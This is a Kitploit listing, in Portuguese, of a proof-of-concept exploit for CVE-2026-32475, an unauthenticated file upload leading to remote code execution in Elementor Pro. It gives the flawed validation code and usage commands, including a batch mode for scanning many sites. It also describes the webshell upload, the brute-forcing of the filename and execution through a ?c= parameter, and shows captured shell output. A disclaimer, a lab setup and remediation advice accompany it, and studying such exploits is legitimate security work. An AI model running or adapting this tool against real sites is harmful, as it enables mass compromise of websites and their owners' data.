Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-32475 — Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos não autenticado no Elementor Pro que leva à execução remota de código. Inclui descoberta automatizada, upload e execução de comandos com limpeza. | Kitploit
Ferramentas/GitHubGitHub/sahmsec/cve-2026-32475
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos não autenticado no Elementor Pro que leva à execução remota de código. Inclui descoberta automatizada, upload e execução de comandos com limpeza.

Ver Repositório
há 17h 52mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Upload Arbitrário de Arquivo Não Autenticado → RCE

PoC para CVE-2026-32475 (CVSS 9.0 Crítico, CWE-434): um upload arbitrário de arquivo não autenticado no módulo de Formulários do Elementor Pro que leva à execução remota de código. Corrigido no Elementor Pro 4.2.2 (19/08/2026). Reportado por Tin Pham (TF1T) por meio do programa de Bug Bounty da Patchstack.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Aviso legal

Esta prova de conceito é fornecida apenas para pesquisa de segurança autorizada, educação e testes defensivos.

  • Você deve possuir o sistema alvo ou ter permissão explícita por escrito do proprietário do sistema antes de executar esta ferramenta contra ele.
  • O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições (por exemplo, o Computer Fraud and Abuse Act nos EUA, o Computer Misuse Act no Reino Unido e leis semelhantes em todo o mundo) e pode acarretar penalidades criminais e civis.
  • Os autores e colaboradores não assumem nenhuma responsabilidade por qualquer uso indevido, dano ou consequência legal decorrente do uso deste código.
  • Ao usar este software, você concorda em usá-lo de forma responsável e em conformidade com todas as leis aplicáveis.
  • O que é a vulnerabilidade

    O campo de Upload de Arquivo dos formulários do Elementor Pro processa as entradas enviadas em dois loops separados com semânticas diferentes (modules/forms/fields/upload.php):

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- aborta TODO o método
        }
        // is_file_type_valid() ...    // nunca é alcançado para a entrada #2
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- pula apenas ESTA entrada
        }
        $filename = uniqid() . '.' . $file_extension;   // extensão controlada pelo atacante
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    Enviar duas partes de arquivo para o mesmo campo de upload — uma primeira parte vazia (filename="" → UPLOAD_ERR_NO_FILE) seguida pelo payload .php — faz com que validation() retorne antes que a lista de bloqueio de extensões veja o payload, enquanto process_field() ainda o move para wp-content/uploads/elementor/forms/<uniqid()>.php, um diretório web público. Solicitar essa URL diretamente = execução remota de código.

    O upload é tratado por POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) sem autenticação e sem nonce. O post_id, form_id e o nome do campo de upload são visíveis no HTML da página pública, portanto todo o ataque é não autenticado.

    Requisitos

    Alvo:

    • Elementor Pro ≤ 4.2.1 (todas as versões anteriores são afetadas)
    • Pelo menos uma página publicada com um widget de Formulário contendo um campo de Upload de Arquivo
    • O campo de upload não deve estar marcado como Obrigatório (estado padrão)
    • Sem CAPTCHA no formulário (reCAPTCHA/turnstile bloqueia o envio não autenticado)
    • O diretório de uploads deve executar PHP (padrão na maioria das hospedagens Apache/cPanel; bloqueado em algumas configurações nginx endurecidas)

    Atacante:

    • Python 3.9+ (apenas biblioteca padrão — sem dependências)
    • Acesso de rede ao alvo

    Uso

    Alvo único (descobre automaticamente a página do formulário via sitemap/página inicial):

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    Página de formulário explícita:

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    Modo lote (sites.txt: um site por linha — base_url ou base_url page_url):

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    Formato de lista JSON:

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    Executar um comando em um shell já enviado:

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    Opções principais

    FlagPadrãoSignificado
    --url-URL base do alvo único
    --list-arquivo de lista do modo lote
    --page-url--urlpágina que contém o formulário
    --commandid; hostname; uname -acomando a ser executado através do shell
    --cleanupdesativadoauto-excluir o webshell após o teste
    --field k=v-substituir um campo de formulário preenchido automaticamente (repetível)
    --tail0.3segundos antes do tempo estimado de upload para varredura fina
    --step-fine1passo em microssegundos da varredura fina
    --full-seconddesativadoforçar bruta o segundo completo do uniqid (supera a dessincronização de relógio)
    --attempts1tentativas de upload+varredura (novo nome de arquivo aleatório a cada vez)
    --max-probes600000orçamento de solicitações de varredura por tentativa
    --workers50threads paralelas de varredura
    --insecuredesativadoignorar erros de TLS (alvos com certificado autoassinado)
    --out file.json-gravar o relatório como JSON

    Como a ferramenta funciona

    1. Descoberta — busca a página alvo (ou rastreia o sitemap e os links da página inicial, máx. 20 páginas) para encontrar um formulário com campo de Upload de Arquivo.
    2. Raspagem — extrai post_id, form_id, o nome do campo de upload e todos os outros campos do formulário; preenche automaticamente todos os campos com valores plausíveis para que os campos obrigatórios passem na validação (substitua com --field).
    3. Upload — envia o POST multipart de duas partes para admin-ajax.php. Observação: success:false com um objeto errors vazio ainda é tratado como enviado, porque a ação padrão de Email lança um erro após a movimentação do arquivo quando wp_mail() falha. Apenas uma rejeição do próprio campo de upload (file type is not allowed) conta como bloqueado.
    4. Recuperação do nome do arquivo — uniqid() = 8 hex segundos + 5 hex microssegundos. Os segundos vêm do cabeçalho Date da resposta; a fração de sub-segundo é estimada a partir de (t1 - date_epoch) % 1 (precisa quando os relógios do atacante e do servidor estão próximos). Um prober keep-alive (~30x mais rápido que uma solicitação por conexão) varre a janela de movimentação em resolução de microssegundos; --full-second força bruta o segundo inteiro quando os relógios estão dessincronizados.
    5. Execução — GET <shell>?c=<command> executa o comando; --cleanup exclui o shell via ?x=1.

    Estados de resultado

    StatusSignificado
    vulnerableshell enviado e comando executado — aplique o patch agora
    blockedcampo de upload rejeitado (corrigido na 4.2.2+, campo obrigatório, WAF, captcha)
    uploaded_no_execarquivo enviado, mas nome não recuperado (tente novamente com --full-second)
    no_formnenhum formulário vulnerável encontrado no alvo
    errorerro de conexão/rede

    Reprodução em laboratório

    docker-compose.yml + setup_form_page.php reproduzem o alvo vulnerável:

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # coloque seu elementor-pro.zip obtido legalmente (<= 4.2.1) no diretório do projeto e então:
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    Saída verificada

    root@kitploit:~
    [+] Shell localizado (tentativa 1, estágio=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Executando comando: uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Limpando (excluindo webshell)...
        rm
    

    Referências

    • Aviso da Patchstack
    • Entrada no NVD
    • Changelog do Elementor Pro (4.2.2)

    Remediação

    Atualize o Elementor Pro para 4.2.2+. A atualização fecha a brecha, mas não remove shells que já foram enviados — audite wp-content/uploads/elementor/forms/ em busca de arquivos .php soltos.


    Apenas para pesquisa de segurança autorizada e uso em laboratório.

    Baixar ferramenta